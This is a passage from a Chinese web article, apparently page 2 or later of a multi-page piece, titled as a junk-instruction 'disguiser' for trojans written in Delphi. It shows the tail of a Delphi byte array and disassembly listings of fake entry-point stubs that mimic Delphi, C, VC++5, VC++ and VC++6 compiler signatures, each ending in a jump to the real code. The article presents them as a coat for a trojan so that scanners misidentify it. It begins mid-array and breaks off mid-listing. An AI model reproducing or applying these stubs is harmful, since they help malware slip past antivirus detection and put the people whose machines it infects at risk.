打印本文 打印本文 关闭窗口 关闭窗口
一个简单的花指令伪装器--Delphi版木马彩衣
作者:武汉SEO闵涛  文章来源:敏韬网  点击数3324  更新时间:2009/4/23 18:41:47  文章录入:mintao  责任编辑:mintao
0, $00, $00, $00, $00, $00, $00, $00,
     $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00)  //Nothing found *  two
  );

  JMPOFFARRAY :array[0..OepCount-1] of integer=(10,43,38,54,43,11);


{Nothing found * ONE:
Borland Delphi 6.0 - 7.0

00469022     0055 8B       add byte ptr ss:[ebp-75],dl
00469025     EC            in al,dx
00469026     83C4 F4       add esp,-0C
00469029     83C4 0C       add esp,0C
0046902C     B8 304A4500   mov eax,Project1.00454A30
00469031     50            push eax
00469032     C3            retn

Nothing found * TWO

00454A72       55          push ebp
00454A73       8BEC        mov ebp,esp
00454A75       41          inc ecx
00454A76       52          push edx
00454A77       90          nop
00454A78       5A          pop edx
00454A79       49          dec ecx
00454A7A       5D          pop ebp
00454A7B       41          inc ecx
0046902A     B8 304A4500   mov eax,Project1.00454A30
0046902F     FFE0          jmp eax
00469031     90            nop


C外衣:

00454A6C       55          push ebp
00454A6D       8BEC        mov ebp,esp
00454A6F       6A FF       push -1
00454A71       68 11111100 push 111111
00454A76       68 22222200 push 222222
00454A7B       64:A1 00000>mov eax,dword ptr fs:[0]
00454A81       50          push eax
00454A82       64:8925 000>mov dword ptr fs:[0],esp
00454A89       58          pop eax
00454A8A       64:A3 00000>mov dword ptr fs:[0],eax
00454A90       58          pop eax
00454A91       58          pop eax
00454A92       58          pop eax
00454A93       58          pop eax
00454A94       8BE8        mov ebp,eax
00454A96     - E9 65F5CAFF jmp 00104000


VC++5外衣:

0046905F P>  55            push ebp
00469060     8BEC          mov ebp,esp
00469062     6A FF         push -1
00469064     68 48544100   push Project1.00415448
00469069     68 A8214000   push Project1.004021A8
0046906E     64:A1 0000000>mov eax,dword ptr fs:[0]
00469074     50            push eax
00469075     64:8925 00000>mov dword ptr fs:[0],esp
0046907C     83C4 94       add esp,-6C
0046907F     53            push ebx
00469080     56            push esi
00469081     57            push edi
00469082     0000          add byte ptr ds:[eax],al
0046902A     B8 304A4500   mov eax,Project1.00454A30
0046902F     FFE0          jmp eax
00469031     90            nop


VC++外衣:

00469000 P>  55            push ebp
00469001     8BEC          mov ebp,esp
00469003     6A FF         push -1
00469005     68 2A2C0A00   push 0A2C2A
0046900A     68 38900D00   push 0D9038
0046900F     64:A1 0000000>mov eax,dword ptr fs:[0]
00469015     50            push eax
00469016     64:8925 00000>mov dword ptr fs:[0],esp
0046901D     58            pop eax
0046901E     64:A3 0000000>mov dword ptr fs:[0],eax
00469024     58            pop eax
00469025     58            pop eax
00469026     58            pop eax
00469027     58            pop eax
00469028     8BE8          mov ebp,eax
0046902A     B8 304A4500   mov eax,Project1.00454A30
0046902F     FFE0          jmp eax
00469031     90            nop


VC++6外衣:

004690EF P>  55            push ebp
004690F0     8BEC          mov ebp,esp
004690F2     6A FF         push -1
004690F4     68 00000000   push 0
004690F9     68 00000000   push 0
004690FE     64:A1 0000000>mov eax,dword ptr fs:[0]
00469104     50            push eax
00469105     64:8925 00000>mov dword ptr fs:[0],esp
0046910C     83EC 68       sub esp,68
0046910F     53            push ebx
00469110     56            push esi
00469111     57            push edi
00469112     58            pop eax
00469113     58            pop eax
00469114     58            pop eax
00469115     83C4 68       add esp,68
00469118     58            pop eax
00469119     67:64:A3 0000 mov dword ptr fs:[0],eax
0046911E     58            pop eax
0046911F     58            pop eax
00469120     58            pop eax
00469121     58            pop eax
00469122     8BE8          mov ebp,eax
0046902A     B8 304A4500   mov eax,Project1.00454A30
0046902F     FFE0        

上一页  [1] [2] [3] [4]  下一页

打印本文 打印本文 关闭窗口 关闭窗口